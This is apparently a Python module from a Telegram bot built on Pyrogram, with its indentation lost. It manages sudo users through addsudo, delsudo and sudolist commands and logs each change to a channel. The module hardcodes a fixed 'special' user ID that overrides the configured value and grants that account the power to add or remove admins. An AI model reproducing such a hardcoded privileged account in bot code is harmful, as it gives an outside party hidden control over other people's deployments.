File size: 7,587 Bytes
80287e2 d583fa4 80287e2 ef56544 d583fa4 80287e2 d583fa4 80287e2 d583fa4 80287e2 d583fa4 80287e2 d583fa4 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 |
from pyrogram import Client, filters
from pyrogram.types import Message, ChatMemberUpdated
from pyrogram.enums import ChatMemberStatus
from Devine import app
from Devine.misc import SUDOERS
from Devine.utils.database import add_sudo, remove_sudo
from Devine.utils.decorators.language import language
from Devine.utils.extraction import extract_user
from Devine.utils.inline import close_markup
from config import BANNED_USERS, OWNER_ID, SPECIAL_USER_ID
from pyrogram import Client, filters
from pyrogram.types import Message, ChatMemberUpdated
from pyrogram.enums import ChatMemberStatus
from Devine import app
from Devine.misc import SUDOERS
from Devine.utils.database import add_sudo, remove_sudo
from Devine.utils.decorators.language import language
from Devine.utils.extraction import extract_user
from config import BANNED_USERS, OWNER_ID, SPECIAL_USER_ID, LOG_CHANNEL_ID
# Define the special user ID
SPECIAL_USER_ID = 6466741329 # Replace with the actual user ID
SPECIAL_USERS = {SPECIAL_USER_ID}
async def log_new_sudo_user(user, adder, chat):
log_message = (
f"<b>{user.mention} ʜᴀs ʙᴇᴇɴ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴀs ᴀ sᴜᴅᴏᴇʀ.\n\n</b>"
f"<b>ᴜsᴇʀ ᴅᴀᴛᴀ -\n</b>"
f"<b>ɪᴅᴇɴᴛɪғɪᴇʀ ⌯ <code>{user.id}</code></b>\n"
f"<b>ʜᴀɴᴅʟᴇ ⌯ @{user.username if user.username else 'none'}</b>\n\n"
f"<b>ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ʙʏ {adder.mention}</b>\n"
f"<b>ɪᴅᴇɴᴛɪғɪᴇʀ ⌯ <code>{adder.id}</code>\n\n"
f"<b>ᴀʙᴏᴜᴛ ᴄʜᴀᴛ -\n</b>"
f"<b>ᴅᴇsɪɢɴᴀᴛɪᴏɴ ⌯ {chat.title}\n</b>"
f"<b>ɪᴅᴇɴᴛɪғɪᴇʀ ⌯ <code>{chat.id}</b>\n"
f"<b>ᴄʜᴀᴛ ʜᴀɴᴅʟᴇ ⌯ @{chat.username if chat.username else 'none'}</b>"
)
await app.send_message(LOG_CHANNEL_ID, log_message)
async def log_removed_sudo_user(user, remover, chat):
log_message = (
f"<b>ᴀᴄᴄᴇss {user.mention} ʜᴀs ʙᴇᴇɴ ʀᴇᴠᴏᴋᴇᴅ.</b>\n\n"
f"<b>ᴜsᴇʀ ᴅᴀᴛᴀ -\n</b>"
f"<b>ɪᴅᴇɴᴛɪғɪᴇʀ ⌯ <code>{user.id}</code></b>\n"
f"<b>ʜᴀɴᴅʟᴇ ⌯ @{user.username if user.username else 'none'}</b>\n\n"
f"<b>ᴀᴄᴄᴇss ʀᴇᴠᴏᴋᴇᴅ ʙʏ {remover.mention}</b>\n"
f"<b>ɪᴅᴇɴᴛɪғɪᴇʀ ⌯ </b><code>{remover.id}</code>\n\n"
f"<b>ᴀʙᴏᴜᴛ ᴄʜᴀᴛ -\n"
f"<b>ᴅᴇsɪɢɴᴀᴛɪᴏɴ ⌯ {chat.title}</b>\n"
f"<b>ɪᴅᴇɴᴛɪғɪᴇʀ ⌯ </b><code>{chat.id}</b>\n"
f"<b>ᴄʜᴀᴛ ʜᴀɴᴅʟᴇ ⌯ @{chat.username if chat.username else 'none'}</b>"
)
await app.send_message(LOG_CHANNEL_ID, log_message)
@app.on_message(filters.command(["addsudo"]) & filters.user([OWNER_ID, SPECIAL_USER_ID]))
@language
async def useradd(client, message: Message, language):
if not message.reply_to_message and len(message.command) != 2:
return await message.reply_text("ɪᴛ sᴇᴇᴍs ʟɪᴋᴇ ʏᴏᴜ ᴡᴀɴᴛ ᴍᴇ ᴛᴏ ᴘʀᴏᴠɪᴅᴇ ᴀ ʀᴇsᴘᴏɴsᴇ ᴛᴏ ᴀ ᴍᴇssᴀɢᴇ ᴏʀ ᴛᴏ ɢɪᴠᴇ ʏᴏᴜ ᴛʜᴇ ɴᴇxᴛ sᴛᴇᴘ, ᴘʟᴇᴀsᴇ ᴘʀᴏᴠɪᴅᴇ ᴜsᴇʀ ɪᴅ ᴏʀ ʀᴇᴘʟʏ ᴀ ᴍᴇssᴀɢᴇ.")
user = await extract_user(message)
if not user:
return await message.reply_text("ᴛʜᴇʀᴇ ᴡᴀs ᴀɴ ɪssᴜᴇ ᴇxᴛʀᴀᴄᴛɪɴɢ ᴛʜᴇ ᴜsᴇʀ's ɪɴғᴏʀᴍᴀᴛɪᴏɴ, ᴘʟᴇᴀsᴇ ᴛʀʏ ᴀɢᴀɪɴ.")
if user.id == OWNER_ID:
return await message.reply_text("ᴀʀᴇ ᴜ ᴋɪᴅᴅɪɴɢ ɴᴏᴏʙ ? ʜᴇ ɪs ᴍʏ ᴄʀᴇᴀᴛᴏʀ !")
if user.id in SUDOERS:
return await message.reply_text(f"{user.mention} ɪs ᴀʟʀᴇᴀᴅʏ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴀs ᴀ sᴜᴅᴏ ᴜsᴇʀ.")
added = await add_sudo(user.id)
if added:
SUDOERS.add(user.id)
await message.reply_text(f"{user.mention} ʜᴀs ʙᴇᴇɴ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴀs ᴀ sᴜᴅᴏᴇʀ.")
await log_new_sudo_user(user, message.from_user, message.chat)
else:
await message.reply_text("ᴛʜᴇ ᴀᴛᴛᴇᴍᴘᴛ ᴛᴏ ᴀᴅᴅ ᴛʜᴇ sᴜᴅᴏ ᴜsᴇʀ ᴡᴀs ᴜɴsᴜᴄᴄᴇssғᴜʟ. ᴘʟᴇᴀsᴇ ᴀᴛᴛᴇᴍᴘᴛ ᴀɢᴀɪɴ.")
@app.on_message(filters.command(["delsudo", "rmsudo", "removerand", "removesudo"]) & filters.user([OWNER_ID, SPECIAL_USER_ID]))
@language
async def userdel(client, message: Message, language):
if not message.reply_to_message and len(message.command) != 2:
return await message.reply_text("ɪᴛ sᴇᴇᴍs ʟɪᴋᴇ ʏᴏᴜ ᴡᴀɴᴛ ᴍᴇ ᴛᴏ ᴘʀᴏᴠɪᴅᴇ ᴀ ʀᴇsᴘᴏɴsᴇ ᴛᴏ ᴀ ᴍᴇssᴀɢᴇ ᴏʀ ᴛᴏ ɢɪᴠᴇ ʏᴏᴜ ᴛʜᴇ ɴᴇxᴛ sᴛᴇᴘ, ᴘʟᴇᴀsᴇ ᴘʀᴏᴠɪᴅᴇ ᴜsᴇʀ ɪᴅ ᴏʀ ʀᴇᴘʟʏ ᴀ ᴍᴇssᴀɢᴇ.")
user = await extract_user(message)
if not user:
return await message.reply_text("ᴛʜᴇʀᴇ ᴡᴀs ᴀɴ ɪssᴜᴇ ᴇxᴛʀᴀᴄᴛɪɴɢ ᴛʜᴇ ᴜsᴇʀ's ɪɴғᴏʀᴍᴀᴛɪᴏɴ, ᴘʟᴇᴀsᴇ ᴛʀʏ ᴀɢᴀɪɴ.")
if user.id == OWNER_ID:
return await message.reply_text("ᴀʀᴇ ᴜ ᴋɪᴅᴅɪɴɢ ɴᴏᴏʙ ? ʜᴇ ɪs ᴍʏ ᴄʀᴇᴀᴛᴏʀ !")
if user.id not in SUDOERS:
return await message.reply_text(f"{user.mention} ɪs ɴᴏᴛ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴛᴏ ᴜsᴇ sᴜᴅᴏ.")
removed = await remove_sudo(user.id)
if removed:
SUDOERS.remove(user.id)
await message.reply_text(f"sᴜᴅᴏ ᴀᴄᴄᴇss ғᴏʀ {user.mention} ʜᴀs ʙᴇᴇɴ ʀᴇᴠᴏᴋᴇᴅ.")
await log_removed_sudo_user(user, message.from_user, message.chat)
else:
await message.reply_text("ᴛʜᴇ ᴀᴛᴛᴇᴍᴘᴛ ᴛᴏ ʀᴇᴍᴏᴠᴇ ᴛʜᴇ sᴜᴅᴏ ᴜsᴇʀ ᴡᴀs ᴜɴsᴜᴄᴄᴇssғᴜʟ. ᴘʟᴇᴀsᴇ ᴀᴛᴛᴇᴍᴘᴛ ᴀɢᴀɪɴ.")
@app.on_message(filters.command(["sudolist", "sudoers", "specialusers"]) & ~BANNED_USERS)
@language
async def sudoers_list(client, message: Message, language):
if message.from_user.id != OWNER_ID and message.from_user.id not in SUDOERS:
return # Ignore message from non-owner, non-sudoers and non-special-id
text = "<b>👑 ᴅɪsᴀsᴛᴇʀs ᴏғ ᴀɴᴏᴛʜᴇʀ ʟᴇᴠᴇʟ.</b>\n\n"
text += "<b>๏ ᴍʏ ʟᴏʀᴅ</b>\n"
user = await app.get_users(OWNER_ID)
user = user.first_name if not hasattr(user, "mention") else user.mention
text += f"神 {user}\n\n"
text += "<b>🔱 sᴘᴇᴄɪᴀʟ ᴅɪsᴀsᴛᴇʀs</b>\n"
user = await app.get_users(SPECIAL_USER_ID)
user = user.first_name if not hasattr(user, "mention") else user.mention
text += f"‣ {user}\n"
text += "\n<b>❄️ sᴜᴅᴏ ᴜsᴇʀs</b>\n"
count = 0
for user_id in SUDOERS:
if user_id != OWNER_ID:
try:
user = await app.get_users(user_id)
user = user.first_name if not hasattr(user, "mention") else user.mention
count += 1
text += f"» {user}\n"
except Exception as e:
print(f"Error fetching user {user_id}: {e}")
continue
if count == 0:
text += "<b>‣ ɴᴏ ᴜsᴇʀs ᴀᴜᴛʜᴏʀɪsᴇᴅ ғᴏʀ ᴇʟᴇᴠᴀᴛᴇᴅ ᴀᴄᴄᴇss.</b>"
await message.reply_text(text, reply_markup=close_markup(language)) |